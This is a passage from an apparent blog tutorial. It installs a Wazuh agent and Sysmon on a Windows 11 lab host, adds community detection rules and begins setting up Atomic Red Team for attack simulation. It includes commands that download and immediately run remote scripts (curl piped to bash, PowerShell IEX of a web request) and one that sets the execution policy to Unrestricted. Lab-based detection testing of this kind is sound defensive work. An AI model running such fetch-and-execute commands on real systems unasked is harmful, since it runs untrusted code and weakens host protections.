Internet. I will do this just before starting the attack simulation process. This will be done for security reasons. It is better to run various attack simulations on a machine that is not directly connected to your physical network card.</p><p>There are two methods for installing the agent on the end host. The first is installation via the command line — PowerShell or cmd. The second method involves downloading the installer and running it. This is a graphical installation process.</p><p>In one of my previous guides, I described how to install the Wazuh agent using PowerShell, so now, for a change, I’ll install it using the MSI installer.</p><p>To download the agent installer, go to this exact link:</p><p><a href="https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-windows.html"><strong>https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-windows.html</strong></a></p><p>Click on the highlighted text “Windows installer” to download the installation file.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*UNqSO8q1Rb1XikEK.png" /></figure><p>After downloading the agent installer, run it. Accept the license terms and click “Install.” In the next step, click “Run Agent Configuration Interface” and then “Finish.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*g66E3DuEf615gdch.png" /></figure><p>Now you need to “tell” the Wazuh agent which Wazuh manager it should connect to. First, the agent must authenticate with the Wazuh manager, so you need to provide its IP address. To do this, click ‘View’ → “View Config”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/0*B_rJrTF4Ijw6IHS3.png" /></figure><p>Once you’ve completed this step, the main Wazuh agent configuration file — ossec.conf — will open. This is where you make the most important configuration changes to the Wazuh agent. You can configure it directly by accessing the specific endpoint where the Wazuh agent is installed and opening it via the agent interface, or you can configure Wazuh agents remotely from the Wazuh Dashboard. A little later, I’ll show you how to perform a simple remote configuration of this agent.</p><p>To tell the Wazuh agent which Wazuh manager it should connect to, enter the IP address of your Wazuh manager in the &lt;address&gt; section. In my case, the IP address will be 192.168.85.128.</p><p>Also make sure that TCP port 1514 is open on your firewall, as this is the default port used for communication between the agent and the Wazuh manager. This is a very important port. If your firewall blocks this port, the agent will not be able to communicate with the Wazuh manager.</p><p>Also make sure that TCP port 1515 is open on your firewall. By default, the Wazuh agent uses this port to authenticate with the manager.</p><p>For more information, visit this link:</p><p><a href="https://documentation.wazuh.com/current/getting-started/architecture.html"><strong>https://documentation.wazuh.com/current/getting-started/architecture.html</strong></a></p><p>In the screenshot below, I’ve shown you my agent configuration. After entering the correct IP address for the Wazuh manager, press Ctrl+S to save the configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/0*Rx4OTkKoJcfYWxyZ.png" /></figure><p>Next, click “Manage” → “Restart”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/0*hhbe3z-z1UV-a71M.png" /></figure><p>After restarting the Wazuh agent, click “Refresh,” and within a few seconds, you should see the authentication key and the Wazuh manager address that you previously specified in the agent’s configuration file. If you see the authentication key and the agent status is listed as “Running,” it means the agent has successfully authenticated and established communication with the Wazuh manager.</p><p>At this point, data is already being exchanged between the agent and Wazuh.</p><p>Importantly, network communication between the agent and the Wazuh manager is encrypted!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/0*wjHuOqq_AJA4fQFL.png" /></figure><p>Additionally, if you want to verify that the agent has successfully authenticated with the Wazuh manager, you can use the following command to view the agent’s authentication process with the manager:</p><p><strong>tail -f /var/ossec/logs/ossec.log</strong></p><p>Use this command before restarting the agent, and you’ll see how the process went. You’ll see something like this, though the IP address and hostname will be different in your case:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*6QGgxiY2H8k9PFil.png" /></figure><p>In simple terms, the process works like this: the agent contacts the manager and asks to be registered, the manager creates and saves its authentication key, and then the communication service reloads the key list. Once this is done, the agent is trusted and can send logs and security events to the Wazuh manager.</p><p>Finally, check the Wazuh Dashboard to see if you can see the agent and if its status is “Active.” To do this, go to the “Agents management” section → “Summary.”</p><p>You should see your agent there, in the active section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/0*QiRdlAS-CiMxrW8e.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*hLyU51F6aYCyhu3_.png" /></figure><p>In my case, the agent is visible in the Dashboard, under “Active Agents,” so I can proceed with further configuration.</p><p>If you already have the agent installed, feel free to proceed.</p><p>Now I’ll move on to installing the Sysmon software on the same host where the Wazuh agent is installed.</p><h3>Installing Sysmon and its implementation</h3><p>In this section, I’ll walk you through the process of installing the Sysmon software and configuring it properly so that Sysmon can effectively and accurately detect various threats.</p><p>To download Sysmon, click the link below:</p><p><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon</a></p><p>Next, click “Download Sysmon”.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*ou_XH_SZZFjFgQ7B.png" /></figure><p>A ZIP archive containing the Sysmon files will download. Extract this archive.</p><p>After extracting the archive, you will see several files in the “Sysmon” folder.</p><p>The Sysmon and Sysmon64 files are Sysmon installation files — executable files.</p><p>The next step is to download the appropriate config for Sysmon.</p><p>Some of the publicly available, popular, and very well-crafted Sysmon configs are:</p><p>· <strong>Config by SwiftOnSecurity:</strong></p><h3><a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml?source=post_page-----80b65c4c1762---------------------------------------">sysmon-config/sysmonconfig-export.xml at master · SwiftOnSecurity/sysmon-config</a></h3><h3><a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml?source=post_page-----80b65c4c1762---------------------------------------">Sysmon configuration file template with default high-quality event tracing — sysmon-config/sysmonconfig-export.xml at…</a></h3><p><a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml?source=post_page-----80b65c4c1762---------------------------------------">github.com</a></p><p>· <strong>Modified version of SwiftOnSecurity’s sysmon config:</strong></p><h3><a href="https://github.com/NextronSystems/sysmon-config/blob/master/sysmonconfig-export.xml?source=post_page-----80b65c4c1762---------------------------------------">sysmon-config/sysmonconfig-export.xml at master · NextronSystems/sysmon-config</a></h3><h3><a href="https://github.com/NextronSystems/sysmon-config/blob/master/sysmonconfig-export.xml?source=post_page-----80b65c4c1762---------------------------------------">Sysmon configuration file template with default high-quality event tracing — sysmon-config/sysmonconfig-export.xml at…</a></h3><p><a href="https://github.com/NextronSystems/sysmon-config/blob/master/sysmonconfig-export.xml?source=post_page-----80b65c4c1762---------------------------------------">github.com</a></p><p>· <strong>Sysmon-modular by Olaf Hartong:</strong></p><p><a href="https://github.com/olafhartong/sysmon-modular"><strong>https://github.com/olafhartong/sysmon-modular</strong></a></p><p><a href="https://raw.githubusercontent.com/olafhartong/sysmon-modular/master/sysmonconfig.xml"><strong>https://raw.githubusercontent.com/olafhartong/sysmon-modular/master/sysmonconfig.xml</strong></a></p><p>I won’t tell you which one is the best, because each of them is very good and it’s hard to say which one will be the most suitable for a given environment. The answer would have to be: IT DEPENDS! Every infrastructure is different in terms of the devices and solutions it uses, etc.</p><p>For the purposes of this demonstration, I’ll use Olaf Hartong’s Sysmon configuration, which is “Sysmon-modular.”</p><p>To download this configuration, go to this page: <a href="https://github.com/olafhartong/sysmon-modular">https://github.com/olafhartong/sysmon-modular</a></p><p>Once you’ve accessed this GitHub repository, note that there are several configuration options available for Olaf Hartong’s Sysmon. In this case, I’ll choose the default configuration, labeled “default”.</p><p>To do this, I click on “sysmonconfig.xml”.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*qyBjmqOH5uvU-gLo.png" /></figure><p>Next, I copy the entire contents of the file (Ctrl+A) and paste them into Notepad. I save the file as sysmonconfig.xml in the directory where Sysmon is extracted. It is very important that you save this file in the exact directory where the Sysmon files are located.</p><p>When saving the file, be sure to give it the .xml extension and select the “All Files” option.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*JgZjioepSR90OPTx.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*YfG9n6nbgSZRVrtW.png" /></figure><p>Once you’ve completed this step, it’s finally time to install Sysmon along with its configuration file.</p><p>To do this, run cmd (Command Prompt) as an administrator.</p><p>Navigate to the folder containing the Sysmon installation files and its configuration file.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*mviBG80kBaseN_f2.png" /></figure><p>To install Sysmon along with its configuration, use the following command:</p><p><strong>Sysmon.exe -accepteula -i sysmonconfig.xml</strong></p><p>After running this command, you should see output similar to the screenshot below:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*WR75-c53iPcQj53P.png" /></figure><p>It looks like Sysmon is already running and has been installed correctly; however, to confirm this, open Event Viewer as an administrator.</p><p>Next, navigate to “Application and Services Logs” → “Microsoft” → “Windows” → ‘Sysmon’ → “Operational”.</p><p>If everything went according to plan, you should see various entries (events) generated by the Sysmon software in the “Operational” file within the Sysmon folder.</p><p>Here is a sample screenshot showing an example event:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*chnFz50Q5dT_1UH0.png" /></figure><p>Sysmon has been successfully implemented on the target host running Windows 11.</p><p>However, this is only half the battle, because the Wazuh agent currently does not know that it is supposed to monitor and collect information — specifically, events generated by the Sysmon software from the Microsoft-Windows-Sysmon-Operational file. So, in the next step, I’ll show you how to properly configure the Wazuh agent to receive these events.</p><h3>Configuring the Wazuh agent — Sysmon event monitoring</h3><p>At first, the Wazuh agent doesn’t know that it’s supposed to monitor the Microsoft-Windows-Sysmon-Operational section of the event log. You need to specify that this is the location it should monitor. This will allow the agent to collect events generated by Sysmon and then forward them to the Wazuh manager.</p><p>I’ll show you step by step how to do this. There are two methods. You can do this using only the terminal and the appropriate commands, but you can also do it visually, that is, from the Wazuh Dashboard.</p><p>I’ll show you how to do it from the GUI — the Wazuh Dashboard — because I think it will be easier for you to understand if I present it visually.</p><p>First, go to the Wazuh Dashboard and expand the menu on the left. Go to Agents Management &gt; Groups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*ngJT-30I6Sc5JcqR.png" /></figure><p>Next, click “Add new group” and name it, for example, “Sysmon”.</p><p>Finally, click “Save new group.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*kn1CwUn1QxAH6TD3.png" /></figure><p>Once you’ve created a group, it will appear in the list of available groups. By default, Wazuh has only one configuration group named “default”.</p><p>Click the pencil icon next to the newly created group.</p><p>This icon is located in the “Actions” column.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/222/0*Eo64eFM5rLTn4_QR.png" /></figure><p>Once you’ve done this, the main Wazuh agent configuration file — agent.conf — will open.</p><p>Add the following configuration to this file:</p><p><strong>&lt;agent_config&gt;</strong></p><p><strong>&lt;localfile&gt;</strong></p><p><strong>&lt;location&gt;Microsoft-Windows-Sysmon/Operational&lt;/location&gt;</strong></p><p><strong>&lt;log_format&gt;eventchannel&lt;/log_format&gt;</strong></p><p><strong>&lt;/localfile&gt;</strong></p><p><strong>&lt;/agent_config&gt;</strong></p><p>This configuration instructs the Wazuh agent to monitor the “Microsoft-Windows-Sysmon/Operational” location, collect events generated by the Sysmon software from that location, and forward them to the Wazuh manager.</p><p>There’s no deep science to it.</p><p>After entering this configuration entry, click “Save” in the upper-right corner of the screen.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*X4BIhG4o8sSbzzKB.png" /></figure><p>Now you need to assign the agent to the newly created configuration group.</p><p>Only after the agent has been assigned to this configuration group will it know to monitor this location and collect events generated by Sysmon from it.</p><p>To assign the agent to this group, in the “Groups” section, click the “eye” icon for the previously created group:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/0*C2CAc7MUOFyOANOI.png" /></figure><p>Next, click “Manage agents.” You will then see a panel where you can assign agents to this group or remove them.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*P4Q5XENQg1bkAEA9.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*dnoVSmKnWaIv4HR5.png" /></figure><p>From the panel on the left, select the agent you want to assign to this group. Select the agent on which Sysmon is installed. Select it by double-clicking its name. Once you’ve done this, it will appear in the right-hand panel — the panel showing the agents currently assigned to this group. Finally, click “Apply changes.”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*JdzSRuIQPmZna_Vc.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*Kzxmxjys0QIIDTbu.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*FjSvafqFaofE6DH2.png" /></figure><p>After completing this step, restart the Wazuh agent. You can do this in two different ways: via the CLI (from the Wazuh Manager) or by directly accessing the endpoint where the agent is installed.</p><p>If you’re working with a single agent, you can still access that endpoint and restart it from the endpoint itself by launching the agent management interface; however, if you’re working with multiple agents, a much better approach is to manage them remotely — for example, by restarting them.</p><p>So I’ll show you how you can restart an agent from the Wazuh manager using simple commands.</p><p>Log in to the machine where you have the Wazuh manager installed (for example, connect via SSH).</p><p>Enter the following command:</p><p><strong>/var/ossec/bin/agent_control</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*fghQhDoiT1Pi3k2l.png" /></figure><p>“Agent Control” is a built-in tool in the Wazuh manager that allows you to perform basic operations on Wazuh agents — such as restarting them. You can also use this tool to view a list of agents — both active and inactive.</p><p>Once you’ve opened this tool in its basic form, you’ll see the available options.</p><p>In the next step, display the list of available agents using the command:</p><p><strong>/var/ossec/bin/agent_control -lc</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*QvDqg0UUVPyQRc76.png" /></figure><p>Pay close attention to your agent’s ID. You’ll need it shortly to restart the agent. In my case, the agent I’m about to restart has an ID of 012.</p><p>To restart the agent, use the following command:</p><p><strong>/var/ossec/bin/agent_control -R -u 012</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*PILHOMyurrm1c1AW.png" /></figure><p>After executing this command, the agent was restarted. Although the output indicates that the agent is being restarted, the restart process is quick and takes only a few to several seconds.</p><p>At this point, the Wazuh agent knows it needs to forward Sysmon events to the Wazuh manager; however, you won’t see many Sysmon events in the Wazuh Dashboard yet, because we don’t have enough detection rules for Sysmon. Wazuh does indeed come with pre-implemented detection rules for Sysmon, which is great, but for the best possible threat detection, we’ll need a few more of these rules.</p><p>In the next section, I’ll show you how to implement detection rules for Sysmon in Wazuh. So let’s get started!</p><h3>Implementing detection rules for Sysmon</h3><p>As I mentioned in this section, I’ll show you step by step how to implement sample detection rules for Sysmon in Wazuh.</p><p>Detection rules are a very important aspect and play a key role in the effective detection of various threats. Below, I’ll explain what a detection rule is and why they’re so important.</p><p><strong>What is a detection rule, and what is its purpose?</strong></p><p>A detection rule is basically a simple instruction that tells a security system, “if something suspicious happens, show an alert.” It helps catch things like unusual logins, strange network traffic, or behavior that may point to an attack. Detection rules are so important because nobody can manually watch all logs and activity all the time, so these rules help spot real threats faster and cut through the noise. The main idea is simple: they do not stop an attack on their own, but they help detect it early, and that can make a huge difference.</p><p>Now that you have a basic understanding of what a detection rule is and why it’s important, I’ll move on to explaining how to implement detection rules in Wazuh.</p><p>When working with detection rules, there are many different methodologies and approaches to this topic. Specifically, you can use pre-built detection rules created, for example, by SOC analysts, cybersecurity firms, detection engineers, and others. You can also write detection rules yourself, but in many cases this is time-consuming; however, doing so will help you learn how to write them over time.</p><p>In this document, I won’t be showing you step-by-step how to write detection rules, as I may dedicate an entirely separate guide to this in the future.</p><p>So, for the purposes of this guide, I’ll be using pre-written detection rules that are publicly available on SocFortress’s GitHub.</p><p>I want to note that this is not an advertisement. They are simply really well-crafted detection rules, and on top of that, they’re free, so they’re worth knowing about. You can use them, for example, in a lab environment to test them and, over time, customize them to your own preferences.</p><p>To implement these detection rules, go to the following page (this is a GitHub repository):</p><p><a href="https://github.com/socfortress/Wazuh-Rules"><strong>https://github.com/socfortress/Wazuh-Rules</strong></a></p><p>And now, a very important note. In this repository, you’ll find a wide variety of detection rules, including some specifically for Sysmon. If you want to use them in a strictly production environment, test them in a lab environment first. Some detection rules can be quite “noisy” and generate a very large number of events, which can impact the performance of the device(s) in question.</p><p>If, like me in this case, you’re working in a lab environment, you can implement all the detection rules from this repo using a single command.</p><p>This is a script that implements all the detection rules from this repo into the Wazuh manager.</p><p>IMPORTANT NOTE: If you already have any detection rules implemented in your Wazuh manager, there is a significant risk that you will end up with duplicate rules. In that case, the first detection rule (the one that was already implemented) will be taken into account, so the new one with the same ID will not work.</p><p>Remember that every detection rule in Wazuh must have a unique ID.</p><p>To implement these detection rules, use the following command.</p><p>Execute this command from your Wazuh manager:</p><p><strong>curl -so ~/wazuh_socfortress_rules.sh </strong><a href="https://raw.githubusercontent.com/socfortress/Wazuh-Rules/main/wazuh_socfortress_rules.sh%20&amp;&amp;%20bash%20~/wazuh_socfortress_rules.sh"><strong>https://raw.githubusercontent.com/socfortress/Wazuh-Rules/main/wazuh_socfortress_rules.sh &amp;&amp; bash ~/wazuh_socfortress_rules.sh</strong></a></p><p>After running this command, these detection rules (all from the SocFortress repository) will be implemented in your Wazuh SIEM system.</p><p>Of course, in this case, we are only interested in the Sysmon rules, but the other rules will also be implemented for future use.</p><p>Verify that these detection rules are implemented. In Wazuh, the detection rules you have created are located in the following directory: /var/ossec/etc/rules. Use the following command to display the contents of this directory:</p><p><strong>ls -la /var/ossec/etc/rules</strong></p><p>You should see an output like the one in the screenshot below:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*-VtfK74Wh-Tm1u6_.png" /></figure><p>Of course, you can also verify the detection rules directly in the Wazuh Dashboard — that is, visually. Now I’ll show you how to do it.</p><p>Go to the Wazuh Dashboard. Then navigate to the “Server management” section → “Rules”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/305/0*F6093GAQOT-b6i-I.png" /></figure><p>Next, click “Manage rules files” and then “Custom Rules”.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*qyeykmi8C1p8mppZ.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*NDPO__eaTipCm_PS.png" /></figure><p>Finally, your detection rules will appear. I’m referring to the ones you created or implemented yourself. In the “local_rules.xml” file, you can write your detection rules and keep quite a few of them in that file; however, if you want to keep your rules more organized, it’s good practice to create separate files for those rules. Now you have quite a few separate .xml files containing detection rules.</p><p>You can easily filter them by keywords. In my case, I entered the phrase “SYSMON” in the search field, and only those detection rules that include that term in their name were displayed.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*6Zg8-6ZKYXbpOkGH.png" /></figure><h3>Functional verification — displaying Sysmon events</h3><p>Once you’ve completed all the steps, finally verify that you can see Sysmon events in the Wazuh Dashboard. To do this, go to the Dashboard and then to the “Threat Hunting” section.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/0*glutYyAcU0jYdL5n.png" /></figure><p>Next, in the upper-right corner of the screen, click “Explore Agent” and select the agent on which you have Sysmon installed and which is also assigned to this configuration group (the Sysmon group).</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*NynBszdS8IHqAP4b.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*kbOIY8Ofu6u2NHXT.png" /></figure><p>Next, go to the “Events” tab to view events from that agent. In the next step, in the field where you enter filters, type the following command, which will display only events generated by the Sysmon software:</p><p><strong>data.win.system.providerName: “Microsoft-Windows-Sysmon”</strong></p><p>Finally, you should see Sysmon events. If you see them, it means you’ve followed all the steps correctly. Good job!</p><p>If you don’t see them, first restart the Wazuh manager and the Wazuh agent. Also, make sure the agent is connected to the Wazuh manager.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*S4rsJtOlllLkXPAc.png" /></figure><p>Sysmon has been successfully implemented and configured, so the next step is to install the Atomic Red Team solution on a Windows 11 host, which, of course, already has Sysmon and the Wazuh agent installed.</p><p>In the next section, I’ll show you step by step how to implement the Atomic Red Team solution.</p><h3>Atomic Red Team Introduction</h3><p>As I mentioned earlier, in the theoretical section, you can use the Atomic Red Team solution to carry out a variety of attacks that have been used by attackers in the past.</p><p>This tool includes a wide range of implemented techniques that simulate various attacks. The Atomic Red Team is also frequently used by Purple Teams to carry out attacks and then test detection rules and SIEM or SOAR systems to verify their effectiveness — specifically, whether a given attack was detected correctly or not.</p><p>You can view these techniques at any time. Documentation for each of them is available on the official Atomic Red Team GitHub repository.</p><p>Below is also a link to the official website for the atomicredteam solution.</p><p><strong>Below is a link to that repository:</strong></p><p><a href="https://github.com/redcanaryco/atomic-red-team/tree/master"><strong>https://github.com/redcanaryco/atomic-red-team/tree/master</strong></a></p><p><strong>Link to the Atomic Red Team website:</strong></p><p><a href="https://www.atomicredteam.io/"><strong>https://www.atomicredteam.io/</strong></a></p><p>Once you’ve entered this repository (gihtub repo), navigate to the folder named “atomics” by clicking on it.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*LPwz-8wmoIN_tuNO.png" /></figure><p>Once you enter this folder, you’ll see the so-called identifiers for various techniques.</p><p>When you enter one of these techniques and select a file with the .md extension (Markdown format), a page will open describing that technique and listing the commands triggered by it in the system. This serves as a kind of documentation for that technique.</p><p>You can also view information about a specific technique directly from within Atomic Red Team. I’ll show you how to do this in the practical section on Atomic Red Team.</p><p>In the screenshots below, I’ve shown you step by step how to view the documentation for a specific technique (I’ve chosen technique ID T1010):</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*Trj6bAAd0b2h6TD7.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*Z4Sr1Vzd9Zj3vdNo.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*RnEUNc5VppaovCIT.png" /></figure><p>If you’d like to explore the topic of techniques and tactics that attackers have used and continue to use in much greater depth, I strongly encourage you to visit the official Mitre Matrix website. It is a truly excellent resource for learning about the various activities that attackers have used in the process of planning and executing attacks.</p><p>Below is a link to the MITRE Matrix website:</p><p><a href="https://attack.mitre.org/matrices/enterprise/"><strong>https://attack.mitre.org/matrices/enterprise/</strong></a></p><h3>What is Invoke-AtomicRedTeam?</h3><p>Invoke-AtomicRedTeam is a PowerShell tool used to run Atomic Red Team tests that simulate real attacker techniques in a safe and controlled way. It helps security teams validate detections, test defenses, and check how well their monitoring works against behaviors mapped to the MITRE ATT&amp;CK framework.</p><p>It is this module of the Atomic Red Team solution that I will use to carry out various attacks. I’ll get to that shortly, but before I do, I need to implement the solution first.</p><p>In the next section, I’ll show you how to install the Atomic Red Team solution step by step.</p><p>Important note: Be sure to install Atomic Red Team on a test machine in your lab, and it’s best to take a snapshot of it before proceeding. The attacks you run may cause some disruption to the operating system, so it’s best to do this in your lab on a test virtual machine and take a snapshot of it (preferably now).</p><h3>Atomic Red Team Installation</h3><p>It’s high time to get started with installing the Atomic Red Team solution. I’ll walk you through the process step by step.</p><p>First, use the command below to install the execution framework and the atomics folder. These are essential components for simulating various attack techniques.</p><p>Run the following commands in <strong>PowerShell with administrator privileges</strong>.</p><p>Make sure the virtual machine has Internet access at this point.</p><p><strong>1.</strong> <strong>IEX (IWR ‘https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1&#39; -UseBasicParsing);</strong></p><p><strong>2.</strong> <strong>Install-AtomicRedTeam -getAtomics</strong></p><p>You can find the complete technical documentation on the Atomic Red Team GitHub page under the “Wiki” tab. Here is a link to that technical documentation:</p><p><a href="https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Invoke-AtomicRedTeam"><strong>https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Invoke-AtomicRedTeam</strong></a></p><p>If you encounter an error during installation, as I did, it means you need to temporarily enable script execution via PowerShell. By default, this feature is disabled in Windows systems.</p><p>To do this, use the following command:</p><p><strong>Set-ExecutionPolicy -ExecutionPolicy Unrestricted</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*w6ZK3Mi-3zqkLW8L.png" /></figure><p>Set-ExecutionPolicy -ExecutionPolicy Unrestricted changes the PowerShell execution policy to <strong>Unrestricted</strong>, which means scripts can run without strong restrictions. In practice, it allows local and downloaded PowerShell scripts to run.</p><p>After completing this step, run the command that downloads and installs the necessary Atomic Red Team components again.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*73d4WBMzr_sE0tYX.png" /></figure><p>If the process completed successfully, you shouldn’t see any errors. Check to see if there is a folder named AtomicRedTeam on your local C:\ drive. If you see it, the operation was successful. Also inside the AtomicRedTeam folder, you should have two folders: atomics and invokeatomicredteam.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*jGLpy1L8m_VGDYlc.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*bB0HxjyMDW7nV7h8.png" /></figure><p>The next step is to import the “Invoke-AtomicTest” functionality, which you will use to trigger various techniques. In the same PowerShell window where you installed AtomicRedTeam — specifically, within the AtomicRedTeam folder and the execution framework — this functionality is already implemented.</p><p>However, if you open a new PowerShell window, you will need to manually implement this functionality. To do so, use the following command:</p><p><strong>Import-Module “C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1” -Force</strong></p><p>If you don’t want to manually import this module every time, you can add this task to your PowerShell profile using the following command:</p><p><strong>Import-Module “C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1” -Force</strong></p><p><strong>$PSDefaultParameterValues = @{“Invoke-AtomicTest:PathToAtomicsFolder”=”C:\AtomicRedTeam\atomics”}</strong></p><p>All right, so the installation process is complete. Now it’s time to explore the available options for AtomicRedTeam, and then I’ll finally move on to performing the various techniques.</p><h3>List Atomic Tests</h3><p>We’ve already completed the installation process for Atomic Red Team, so now it’s time to test how this solution works — specifically, the module called Invoke-AtomicTest, which, as you already know, is used to trigger individual attacks, and more specifically, the specific techniques attackers use when carrying out attacks.</p><p>To test this module’s functionality, I’ll start by using the “-ShowDetailsBrief” parameter, which displays the tests that will be performed for a specific technique.</p><p>As an example, I’ll display the tests for the technique with the identifier T1012. This technique involves searching and querying the Windows registry using PowerShell cmdlets.</p><p>To do this, I use the following command:</p><p><strong>Invoke-AtomicTest T1012 -ShowDetailsBrief</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*0j9w-iUjz242x3wk.png" /></figure><p>In the screenshot above, you can see the tests that will be run one after another when this technique is executed using the Invoke-AtomicTest module. Simply put, this technique involves gathering a large amount of information from the Windows registry. This refers to a tactic known as “Discovery.”</p><p>In this case, I’m working on Windows 11. I’d like to see all the tests I can run on this specific system (tests compatible with this operating system). To do this, I use the following command:</p><p><strong>Invoke-AtomicTest All -ShowDetailsBrief</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/0*u7Bbg3-wOQz4XxP3.png" /></figure><p>After running this command, you’ll see a really long list of tests compatible with this operating system. Of course, this doesn’t mean that a given test will succeed, because if you have a relatively clean operating system like I do, some tests may fail — for example, because you don’t have a particular system service or application installed, or because certain system configurations are disabled. These are just a few basic examples of why a given test might fail.</p><p>Important note: If you have Windows Defender or another antivirus program enabled, you may see frequent notifications that threats (Trojans, viruses, etc.) have been detected after running the command above. This is normal and indicates that your antivirus software is working properly.</p><p>You can view much more detailed information about the tests that will be performed for a specific technique.</p><p>The command to display more detailed information about a given technique will be very similar. In this case, you must use the -ShowDetails switch.</p><p>Let me give you an example. For example, I will display detailed information about the tests for the technique with <strong>ID T1012</strong>. To do this, I use the following command:</p><p><strong>Invoke-AtomicTest T1012 -ShowDetails</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*pkAtDmF20ESCrLO7.png" /></figure><p>The screenshot above shows the exact commands that AtomicRedTeam will execute during the test. By using the -ShowDetails parameter, you can get a more detailed overview of the tests that will be performed, and I strongly encourage you to use this switch for a given technique before running it.</p><p>You now know how to view both basic information and more detailed information about the tests for each technique.</p><p>In the next section, I’ll show you how to check whether your operating system meets the requirements for running the tests for a given technique.</p><h3>Requirements for individual tests — verification and enforced configuration</h3><p>Before you begin testing a particular technique, it is crucial to verify that the operating system on which the attack or tests will be conducted meets the requirements for those tests. If you want to test your operating system’s security as thoroughly as possible, it is important that it meets the test requirements so that the tests can be successful.</p><p>To check the requirements for a specific technique (and the tests it contains), use the -CheckPrereqs switch.</p><p>For example, I will check whether my Windows 11 system meets the requirements for running technique 